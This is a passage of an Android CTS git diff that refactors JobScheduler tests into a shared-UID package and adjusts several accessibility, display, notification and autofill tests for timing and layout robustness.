+public class TriggerContentJobService extends JobService {
+ private static final String TAG = "TriggerContentJobService";
+
+ /** Wait this long before timing out the test. */
+ private static final long DEFAULT_TIMEOUT_MILLIS = 30000L; // 30 seconds.
+
+ /** How long to delay before rescheduling the job each time we repeat. */
+ private static final long REPEAT_INTERVAL = 1000L; // 1 second.
+
+ JobInfo mRunningJobInfo;
+ JobParameters mRunningParams;
+
+ final Handler mHandler = new Handler();
+ final Runnable mWorkerReschedule = new Runnable() {
+ @Override public void run() {
+ scheduleJob(TriggerContentJobService.this, mRunningJobInfo);
+ jobFinished(mRunningParams, false);
+ }
+ };
+ final Runnable mWorkerFinishTrue = new Runnable() {
+ @Override public void run() {
+ jobFinished(mRunningParams, true);
+ }
+ };
+
+ public static void scheduleJob(Context context, JobInfo jobInfo) {
+ JobScheduler js = context.getSystemService(JobScheduler.class);
+ js.schedule(jobInfo);
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ Log.e(TAG, "Created test service.");
+ }
+
+ @Override
+ public boolean onStartJob(JobParameters params) {
+ Log.i(TAG, "Test job executing: " + params.getJobId());
+
+ int mode = TestEnvironment.getTestEnvironment().getMode();
+ mRunningJobInfo = TestEnvironment.getTestEnvironment().getModeJobInfo();
+ TestEnvironment.getTestEnvironment().setMode(TestEnvironment.MODE_ONESHOT, null);
+ TestEnvironment.getTestEnvironment().notifyExecution(params);
+
+ if (mode == TestEnvironment.MODE_ONE_REPEAT_RESCHEDULE) {
+ mRunningParams = params;
+ mHandler.postDelayed(mWorkerReschedule, REPEAT_INTERVAL);
+ return true;
+ } else if (mode == TestEnvironment.MODE_ONE_REPEAT_FINISH_TRUE) {
+ mRunningParams = params;
+ mHandler.postDelayed(mWorkerFinishTrue, REPEAT_INTERVAL);
+ return true;
+ } else {
+ return false; // No work to do.
+ }
+ }
+
+ @Override
+ public boolean onStopJob(JobParameters params) {
+ return false;
+ }
+
+ /**
+ * Configures the expected behaviour for each test. This object is shared across consecutive
+ * tests, so to clear state each test is responsible for calling
+ * {@link TestEnvironment#setUp()}.
+ */
+ public static final class TestEnvironment {
+
+ private static TestEnvironment kTestEnvironment;
+ //public static final int INVALID_JOB_ID = -1;
+
+ private CountDownLatch mLatch;
+ private JobParameters mExecutedJobParameters;
+ private int mMode;
+ private JobInfo mModeJobInfo;
+
+ public static final int MODE_ONESHOT = 0;
+ public static final int MODE_ONE_REPEAT_RESCHEDULE = 1;
+ public static final int MODE_ONE_REPEAT_FINISH_TRUE = 2;
+
+ public static TestEnvironment getTestEnvironment() {
+ if (kTestEnvironment == null) {
+ kTestEnvironment = new TestEnvironment();
+ }
+ return kTestEnvironment;
+ }
+
+ public JobParameters getLastJobParameters() {
+ return mExecutedJobParameters;
+ }
+
+ /**
+ * Block the test thread, waiting on the JobScheduler to execute some previously scheduled
+ * job on this service.
+ */
+ public boolean awaitExecution() throws InterruptedException {
+ final boolean executed = mLatch.await(DEFAULT_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ return executed;
+ }
+
+ public void setMode(int mode, JobInfo jobInfo) {
+ synchronized (this) {
+ mMode = mode;
+ mModeJobInfo = jobInfo;
+ }
+ }
+
+ public int getMode() {
+ synchronized (this) {
+ return mMode;
+ }
+ }
+
+ public JobInfo getModeJobInfo() {
+ synchronized (this) {
+ return mModeJobInfo;
+ }
+ }
+
+ /**
+ * Block the test thread, expecting to timeout but still listening to ensure that no jobs
+ * land in the interim.
+ * @return True if the latch timed out waiting on an execution.
+ */
+ public boolean awaitTimeout() throws InterruptedException {
+ return !mLatch.await(DEFAULT_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ }
+
+ private void notifyExecution(JobParameters params) {
+ Log.d(TAG, "Job executed:" + params.getJobId());
+ mExecutedJobParameters = params;
+ mLatch.countDown();
+ }
+
+ public void setExpectedExecutions(int numExecutions) {
+ // For no executions expected, set count to 1 so we can still block for the timeout.
+ if (numExecutions == 0) {
+ mLatch = new CountDownLatch(1);
+ } else {
+ mLatch = new CountDownLatch(numExecutions);
+ }
+ }
+
+ /** Called in each testCase#setup */
+ public void setUp() {
+ mLatch = null;
+ mExecutedJobParameters = null;
+ }
+
+ }
+}
\ No newline at end of file
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ClipDataJobTest.java b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/ClipDataJobTest.java
similarity index 98%
rename from tests/JobScheduler/src/android/jobscheduler/cts/ClipDataJobTest.java
rename to tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/ClipDataJobTest.java
index 03d941e..aa19a9a 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ClipDataJobTest.java
+++ b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/ClipDataJobTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.jobscheduler.cts;
+package android.jobscheduler.cts.shareduidtests;
import android.annotation.TargetApi;
diff --git a/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/ConstraintTest.java b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/ConstraintTest.java
new file mode 100644
index 0000000..fcdb593
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/ConstraintTest.java
@@ -0,0 +1,205 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.jobscheduler.cts.shareduidtests;
+
+import android.annotation.TargetApi;
+import android.app.Instrumentation;
+import android.app.job.JobScheduler;
+import android.content.ClipData;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.jobscheduler.MockJobService;
+import android.jobscheduler.TriggerContentJobService;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.SystemClock;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
+
+/**
+ * Common functionality from which the other test case classes derive.
+ */
+@TargetApi(21)
+public abstract class ConstraintTest extends InstrumentationTestCase {
+ /** Force the scheduler to consider the device to be on stable charging. */
+ private static final Intent EXPEDITE_STABLE_CHARGING =
+ new Intent("com.android.server.task.controllers.BatteryController.ACTION_CHARGING_STABLE");
+
+ /** Environment that notifies of JobScheduler callbacks. */
+ static MockJobService.TestEnvironment kTestEnvironment =
+ MockJobService.TestEnvironment.getTestEnvironment();
+ static TriggerContentJobService.TestEnvironment kTriggerTestEnvironment =
+ TriggerContentJobService.TestEnvironment.getTestEnvironment();
+ /** Handle for the service which receives the execution callbacks from the JobScheduler. */
+ static ComponentName kJobServiceComponent;
+ static ComponentName kTriggerContentServiceComponent;
+ JobScheduler mJobScheduler;
+
+ Context mContext;
+
+ static final String MY_PACKAGE = "android.jobscheduler.cts.shareduidtests";
+
+ static final String JOBPERM_PACKAGE = "android.jobscheduler.cts.shareduid.jobperm";
+ static final String JOBPERM_AUTHORITY = "android.jobscheduler.cts.shareduid.jobperm.provider";
+ static final String JOBPERM_PERM = "android.jobscheduler.cts.jobperm.perm";
+
+ Uri mFirstUri;
+ Bundle mFirstUriBundle;
+ Uri mSecondUri;
+ Bundle mSecondUriBundle;
+ ClipData mFirstClipData;
+ ClipData mSecondClipData;
+
+ boolean mStorageStateChanged;
+
+ @Override
+ public void injectInstrumentation(Instrumentation instrumentation) {
+ super.injectInstrumentation(instrumentation);
+ mContext = instrumentation.getContext();
+ kJobServiceComponent = new ComponentName(getContext(), MockJobService.class);
+ kTriggerContentServiceComponent = new ComponentName(getContext(),
+ TriggerContentJobService.class);
+ mJobScheduler = (JobScheduler) getContext().getSystemService(Context.JOB_SCHEDULER_SERVICE);
+ mFirstUri = Uri.parse("content://" + JOBPERM_AUTHORITY + "/protected/foo");
+ mFirstUriBundle = new Bundle();
+ mFirstUriBundle.putParcelable("uri", mFirstUri);
+ mSecondUri = Uri.parse("content://" + JOBPERM_AUTHORITY + "/protected/bar");
+ mSecondUriBundle = new Bundle();
+ mSecondUriBundle.putParcelable("uri", mSecondUri);
+ mFirstClipData = new ClipData("JobPerm1", new String[] { "application/*" },
+ new ClipData.Item(mFirstUri));
+ mSecondClipData = new ClipData("JobPerm2", new String[] { "application/*" },
+ new ClipData.Item(mSecondUri));
+ try {
+ SystemUtil.runShellCommand(getInstrumentation(), "cmd activity set-inactive "
+ + mContext.getPackageName() + " false");
+ } catch (IOException e) {
+ Log.w("ConstraintTest", "Failed setting inactive false", e);
+ }
+ }
+
+ public Context getContext() {
+ return mContext;
+ }
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ kTestEnvironment.setUp();
+ kTriggerTestEnvironment.setUp();
+ mJobScheduler.cancelAll();
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ if (mStorageStateChanged) {
+ // Put storage service back in to normal operation.
+ SystemUtil.runShellCommand(getInstrumentation(), "cmd devicestoragemonitor reset");
+ mStorageStateChanged = false;
+ }
+ }
+
+ /**
+ * The scheduler will usually only flush its queue of unexpired jobs when the device is
+ * considered to be on stable power - that is, plugged in for a period of 2 minutes.
+ * Rather than wait for this to happen, we cheat and send this broadcast instead.
+ */
+ protected void sendExpediteStableChargingBroadcast() {
+ getContext().sendBroadcast(EXPEDITE_STABLE_CHARGING);
+ }
+
+ public void assertHasUriPermission(Uri uri, int grantFlags) {
+ if ((grantFlags&Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0) {
+ assertEquals(PackageManager.PERMISSION_GRANTED,
+ getContext().checkUriPermission(uri, Process.myPid(),
+ Process.myUid(), Intent.FLAG_GRANT_READ_URI_PERMISSION));
+ }
+ if ((grantFlags&Intent.FLAG_GRANT_WRITE_URI_PERMISSION) != 0) {
+ assertEquals(PackageManager.PERMISSION_GRANTED,
+ getContext().checkUriPermission(uri, Process.myPid(),
+ Process.myUid(), Intent.FLAG_GRANT_WRITE_URI_PERMISSION));
+ }
+ }
+
+ void waitPermissionRevoke(Uri uri, int access, long timeout) {
+ long startTime = SystemClock.elapsedRealtime();
+ while (getContext().checkUriPermission(uri, Process.myPid(), Process.myUid(), access)
+ != PackageManager.PERMISSION_DENIED) {
+ try {
+ Thread.sleep(50);
+ } catch (InterruptedException e) {
+ }
+ if ((SystemClock.elapsedRealtime()-startTime) >= timeout) {
+ fail("Timed out waiting for permission revoke");
+ }
+ }
+ }
+
+ // Note we are just using storage state as a way to control when the job gets executed.
+ void setStorageState(boolean low) throws Exception {
+ mStorageStateChanged = true;
+ String res;
+ if (low) {
+ res = SystemUtil.runShellCommand(getInstrumentation(),
+ "cmd devicestoragemonitor force-low -f");
+ } else {
+ res = SystemUtil.runShellCommand(getInstrumentation(),
+ "cmd devicestoragemonitor force-not-low -f");
+ }
+ int seq = Integer.parseInt(res.trim());
+ long startTime = SystemClock.elapsedRealtime();
+
+ // Wait for the storage update to be processed by job scheduler before proceeding.
+ int curSeq;
+ do {
+ curSeq = Integer.parseInt(SystemUtil.runShellCommand(getInstrumentation(),
+ "cmd jobscheduler get-storage-seq").trim());
+ if (curSeq == seq) {
+ return;
+ }
+ } while ((SystemClock.elapsedRealtime()-startTime) < 1000);
+
+ fail("Timed out waiting for job scheduler: expected seq=" + seq + ", cur=" + curSeq);
+ }
+
+ String getJobState(int jobId) throws Exception {
+ return SystemUtil.runShellCommand(getInstrumentation(),
+ "cmd jobscheduler get-job-state " + kJobServiceComponent.getPackageName()
+ + " " + jobId).trim();
+ }
+
+ void assertJobReady(int jobId) throws Exception {
+ String state = getJobState(jobId);
+ assertTrue("Job unexpectedly not ready, in state: " + state, state.contains("ready"));
+ }
+
+ void assertJobWaiting(int jobId) throws Exception {
+ String state = getJobState(jobId);
+ assertTrue("Job unexpectedly not waiting, in state: " + state, state.contains("waiting"));
+ }
+
+ void assertJobNotReady(int jobId) throws Exception {
+ String state = getJobState(jobId);
+ assertTrue("Job unexpectedly ready, in state: " + state, !state.contains("ready"));
+ }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java
similarity index 99%
rename from tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java
rename to tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java
index 604ccce..cadf73a 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java
+++ b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.jobscheduler.cts;
+package android.jobscheduler.cts.shareduidtests;
import android.annotation.TargetApi;
import android.app.job.JobInfo;
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/SharedUidTest.java b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/SharedUidTest.java
similarity index 96%
rename from tests/JobScheduler/src/android/jobscheduler/cts/SharedUidTest.java
rename to tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/SharedUidTest.java
index 382828f..9ee2aee 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/SharedUidTest.java
+++ b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/SharedUidTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -13,7 +13,7 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
-package android.jobscheduler.cts;
+package android.jobscheduler.cts.shareduidtests;
import android.annotation.TargetApi;
import android.app.job.JobInfo;
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
index 8c87d78..0cf2c19 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
@@ -58,6 +58,8 @@
getInstrumentation().getContext().getSystemService(Service.ACCESSIBILITY_SERVICE);
mTargetContext = getInstrumentation().getTargetContext();
mHandler = new Handler(mTargetContext.getMainLooper());
+ // In case the test runner started a UiAutomation, destroy it to start with a clean slate.
+ getInstrumentation().getUiAutomation().destroy();
ServiceControlUtils.turnAccessibilityOff(getInstrumentation());
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
index 115eb5f..cd84fb9 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
@@ -249,8 +249,12 @@
}
// Scroll down one line
- final float oneLineDownY = locationsBeforeScroll[0].bottom;
- getInstrumentation().runOnMainSync(() -> editText.scrollTo(0, (int) oneLineDownY + 1));
+ getInstrumentation().runOnMainSync(() -> {
+ int[] viewPosition = new int[2];
+ editText.getLocationOnScreen(viewPosition);
+ final int oneLineDownY = (int) locationsBeforeScroll[0].bottom - viewPosition[1];
+ editText.scrollTo(0, oneLineDownY + 1);
+ });
assertTrue("Refresh failed", text.refreshWithExtraData(
EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
index 2e89f06..25b7762 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -86,6 +86,7 @@
PointF mCurrentZoomCenter = null;
PointF mTapLocation;
PointF mTapLocation2;
+ float mPan;
private boolean mHasTouchscreen;
private boolean mOriginalIsMagnificationEnabled;
@@ -127,6 +128,7 @@
view.getLocationOnScreen(xy);
mTapLocation = new PointF(xy[0] + view.getWidth() / 2, xy[1] + view.getHeight() / 2);
mTapLocation2 = add(mTapLocation, 31, 29);
+ mPan = view.getWidth() / 4;
});
}
@@ -179,17 +181,15 @@
if (!mHasTouchscreen) return;
assertFalse(isZoomed());
- float pan = Math.min(mTapLocation.x, mTapLocation2.x) / 2;
-
setZoomByTripleTapping(true);
PointF oldCenter = mCurrentZoomCenter;
dispatch(
- swipe(mTapLocation, add(mTapLocation, -pan, 0)),
- swipe(mTapLocation2, add(mTapLocation2, -pan, 0)));
+ swipe(mTapLocation, add(mTapLocation, -mPan, 0)),
+ swipe(mTapLocation2, add(mTapLocation2, -mPan, 0)));
waitOn(mZoomLock,
- () -> (mCurrentZoomCenter.x - oldCenter.x >= pan / mCurrentScale * 0.9));
+ () -> (mCurrentZoomCenter.x - oldCenter.x >= mPan / mCurrentScale * 0.9));
setZoomByTripleTapping(false);
}
@@ -204,12 +204,11 @@
private void tripleTapAndDragViewport() {
StrokeDescription down = tripleTapAndHold();
- float pan = mTapLocation.x / 2;
PointF oldCenter = mCurrentZoomCenter;
- StrokeDescription drag = drag(down, add(lastPointOf(down), pan, 0f));
+ StrokeDescription drag = drag(down, add(lastPointOf(down), mPan, 0f));
dispatch(drag);
- waitOn(mZoomLock, () -> distance(mCurrentZoomCenter, oldCenter) >= pan / 5);
+ waitOn(mZoomLock, () -> distance(mCurrentZoomCenter, oldCenter) >= mPan / 5);
assertTrue(isZoomed());
assertNoTouchInputPropagated();
diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java
index 6d7fdeb..154f41f 100644
--- a/tests/app/src/android/app/cts/DisplayTest.java
+++ b/tests/app/src/android/app/cts/DisplayTest.java
@@ -19,6 +19,7 @@
import android.app.Instrumentation;
import android.app.stubs.DisplayTestActivity;
import android.app.stubs.OrientationTestUtils;
+import android.graphics.Point;
import android.test.ActivityInstrumentationTestCase2;
import android.view.Display;
@@ -51,32 +52,36 @@
final Display origDisplay = mActivity.getDisplay();
// Capture the originally reported width and heights
- final int origWidth = origDisplay.getWidth();
- final int origHeight = origDisplay.getHeight();
+ final Point origSize = new Point();
+ origDisplay.getSize(origSize);
// Change orientation
mActivity.configurationChangeObserver.startObserving();
OrientationTestUtils.switchOrientation(mActivity);
mActivity.configurationChangeObserver.await();
+ final Point newOrigSize = new Point();
+ origDisplay.getSize(newOrigSize);
+
// Get a {@link Display} instance after rotation.
final Display updatedDisplay = mActivity.getDisplay();
+ final Point updatedSize = new Point();
+ updatedDisplay.getSize(updatedSize);
- // For square sreens the following assertions do not make sense and will always fail.
- if (origWidth != origHeight) {
+ // For square screens the following assertions do not make sense and will always fail.
+ if (origSize.x != origSize.y) {
// Ensure that the width and height of the original instance no longer are the same. Note
// that this will be false if the device width and height are identical.
- assertFalse("width from original display instance should have changed",
- origWidth == origDisplay.getWidth());
- assertFalse("height from original display instance should have changed",
- origHeight == origDisplay.getHeight());
+ // Note there are cases where width and height may not all be updated, such as on docked
+ // devices where the app is letterboxed. However at least one dimension needs to be
+ // updated.
+ assertFalse("size from original display instance should have changed",
+ origSize.equals(newOrigSize));
}
// Ensure that the width and height of the original instance have been updated to match the
// values that would be found in a new instance.
- assertTrue("width from original display instance should match current",
- origDisplay.getWidth() == updatedDisplay.getWidth());
- assertTrue("height from original display instance should match current",
- origDisplay.getHeight() == updatedDisplay.getHeight());
+ assertTrue("size from original display instance should match current",
+ newOrigSize.equals(updatedSize));
}
}
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index 9ac86e1..3549145 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -18,6 +18,7 @@
import android.app.Notification;
import android.app.Notification.Action.Builder;
+import android.app.Notification.MessagingStyle;
import android.app.Notification.MessagingStyle.Message;
import android.app.NotificationChannel;
import android.app.NotificationManager;
@@ -255,6 +256,15 @@
assertEquals(Notification.GROUP_ALERT_SUMMARY, mNotification.getGroupAlertBehavior());
}
+ public void testBuilder_getStyle() {
+ MessagingStyle ms = new MessagingStyle(new Person.Builder().setName("Test name").build());
+ Notification.Builder builder = new Notification.Builder(mContext, CHANNEL.getId());
+
+ builder.setStyle(ms);
+
+ assertEquals(ms, builder.getStyle());
+ }
+
public void testActionBuilder() {
final Intent intent = new Intent();
final PendingIntent actionIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
@@ -400,6 +410,26 @@
assertTrue(notification.extras.getBoolean(Notification.EXTRA_IS_GROUP_CONVERSATION));
}
+ public void testMessagingStyle_getUser() {
+ Person user = new Person.Builder().setName("Test name").build();
+
+ MessagingStyle messagingStyle = new MessagingStyle(user);
+
+ assertEquals(user, messagingStyle.getUser());
+ }
+
+ public void testMessage() {
+ Person sender = new Person.Builder().setName("Test name").build();
+ String text = "Test message";
+ long timestamp = 400;
+
+ Message message = new Message(text, timestamp, sender);
+
+ assertEquals(text, message.getText());
+ assertEquals(timestamp, message.getTimestamp());
+ assertEquals(sender, message.getSenderPerson());
+ }
+
public void testToString() {
mNotification = new Notification();
assertNotNull(mNotification.toString());
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
index b27ad83..1eab92d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
@@ -60,6 +60,7 @@
import java.util.List;
import java.util.Map;
import java.util.Set;
+import java.util.concurrent.atomic.AtomicBoolean;
/**
* Test that uses {@link LoginActivity} to test {@link FillEventHistory}.
@@ -108,8 +109,8 @@
mActivity.onUsername(View::requestFocus);
// Authenticate
- mUiBot.selectDataset("authentication");
sReplier.getNextFillRequest();
+ mUiBot.selectDataset("authentication");
mActivity.assertAutoFilled();
// Verify fill selection
@@ -145,8 +146,8 @@
mActivity.onUsername(View::requestFocus);
// Authenticate
- mUiBot.selectDataset("authentication");
sReplier.getNextFillRequest();
+ mUiBot.selectDataset("authentication");
mUiBot.assertDatasets("dataset");
// Verify fill selection
@@ -177,8 +178,8 @@
// Trigger autofill on username
mActivity.onUsername(View::requestFocus);
waitUntilConnected();
- mUiBot.selectDataset("dataset1");
sReplier.getNextFillRequest();
+ mUiBot.selectDataset("dataset1");
mActivity.assertAutoFilled();
{
@@ -213,8 +214,8 @@
// Trigger autofill on password
mActivity.onPassword(View::requestFocus);
- mUiBot.selectDataset("dataset3");
sReplier.getNextFillRequest();
+ mUiBot.selectDataset("dataset3");
mActivity.assertAutoFilled();
{
@@ -412,8 +413,12 @@
// Now switch back to A...
mUiBot.pressBack(); // dismiss autofill
- mUiBot.pressBack(); // dismiss keyboard
- mUiBot.pressBack(); // dismiss task
+ mUiBot.pressBack(); // dismiss keyboard (or task, if there was no keyboard)
+ final AtomicBoolean focusOnA = new AtomicBoolean();
+ mActivity.syncRunOnUiThread(() -> focusOnA.set(mActivity.hasWindowFocus()));
+ if (!focusOnA.get()) {
+ mUiBot.pressBack(); // dismiss task, if the last pressBack dismissed only the keyboard
+ }
mUiBot.assertShownByRelativeId(ID_USERNAME);
assertWithMessage("root window has no focus")
.that(mActivity.getWindow().getDecorView().hasWindowFocus()).isTrue();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index fa8fa1b..c476c7c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -2499,8 +2499,7 @@
waitUntilConnected();
sReplier.getNextFillRequest().cancellationSignal.setOnCancelListener(listener);
- // AssertResults
- waitUntilDisconnected();
+ // Assert results
listener.assertOnCancelCalled();
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
index 92fa94b..b3257f0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
@@ -38,6 +38,7 @@
import android.view.View;
import android.widget.RemoteViews;
+import org.junit.After;
import org.junit.Rule;
import java.util.regex.Pattern;
@@ -59,6 +60,11 @@
mActivity = mActivityRule.launchActivity(intent);
}
+ @After
+ public void finishSimpleSaveActivity() {
+ SimpleSaveActivity.finishIt(mUiBot);
+ }
+
@Override
protected void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
throws Exception {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
index cbb8523..a9924f4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
@@ -46,10 +46,18 @@
private boolean mAutoCommit = true;
private boolean mClearFieldsOnSubmit = false;
- public static SimpleSaveActivity getInstance() {
+ static SimpleSaveActivity getInstance() {
return sInstance;
}
+ static void finishIt(UiBot uiBot) {
+ if (sInstance != null) {
+ Log.d(TAG, "So long and thanks for all the fish!");
+ sInstance.finish();
+ uiBot.assertGoneByRelativeId(ID_LABEL, Timeouts.ACTIVITY_RESURRECTION);
+ }
+ }
+
public SimpleSaveActivity() {
sInstance = this;
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index 82632f2..eb59da4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -32,6 +32,8 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import static org.junit.Assume.assumeTrue;
+
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
import android.autofillservice.cts.SimpleSaveActivity.FillExpectation;
@@ -191,6 +193,7 @@
@Test
public void testSave_afterRotation() throws Exception {
+ assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
mUiBot.setScreenOrientation(UiBot.PORTRAIT);
try {
saveTest(true);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Timeouts.java b/tests/autofillservice/src/android/autofillservice/cts/Timeouts.java
index ae12356..d59d1a5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Timeouts.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Timeouts.java
@@ -29,7 +29,9 @@
/**
* Timeout until framework unbinds from a service.
*/
- static final Timeout IDLE_UNBIND_TIMEOUT = new Timeout("IDLE_UNBIND_TIMEOUT", 5000, 2F, 10000);
+ // TODO: must be higher than RemoteFillService.TIMEOUT_IDLE_BIND_MILLIS, so we should use a
+ // @hidden @Testing constants instead...
+ static final Timeout IDLE_UNBIND_TIMEOUT = new Timeout("IDLE_UNBIND_TIMEOUT", 10000, 2F, 10000);
/**
* Timeout to get the expected number of fill events.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
index ef54c78..a8da1a3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
@@ -15,6 +15,8 @@
*/
package android.autofillservice.cts;
+import static android.autofillservice.cts.Timeouts.WEBVIEW_TIMEOUT;
+
import android.content.Context;
import android.os.Bundle;
import android.os.SystemClock;
@@ -30,6 +32,8 @@
import android.widget.LinearLayout;
import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
public class WebViewActivity extends AbstractAutoFillActivity {
@@ -70,6 +74,7 @@
}
public MyWebView loadWebView(UiBot uiBot, boolean usingAppContext) throws Exception {
+ final CountDownLatch latch = new CountDownLatch(1);
syncRunOnUiThread(() -> {
final Context context = usingAppContext ? getApplicationContext() : this;
mWebView = new MyWebView(context);
@@ -98,13 +103,26 @@
throw new IllegalArgumentException("Error opening " + rawPath, e);
}
}
+
+ @Override
+ public void onPageFinished(WebView view, String url) {
+ Log.v(TAG, "onPageFinished(): " + url);
+ latch.countDown();
+ }
+
});
mWebView.loadUrl(FAKE_URL);
});
// Wait until it's loaded.
+
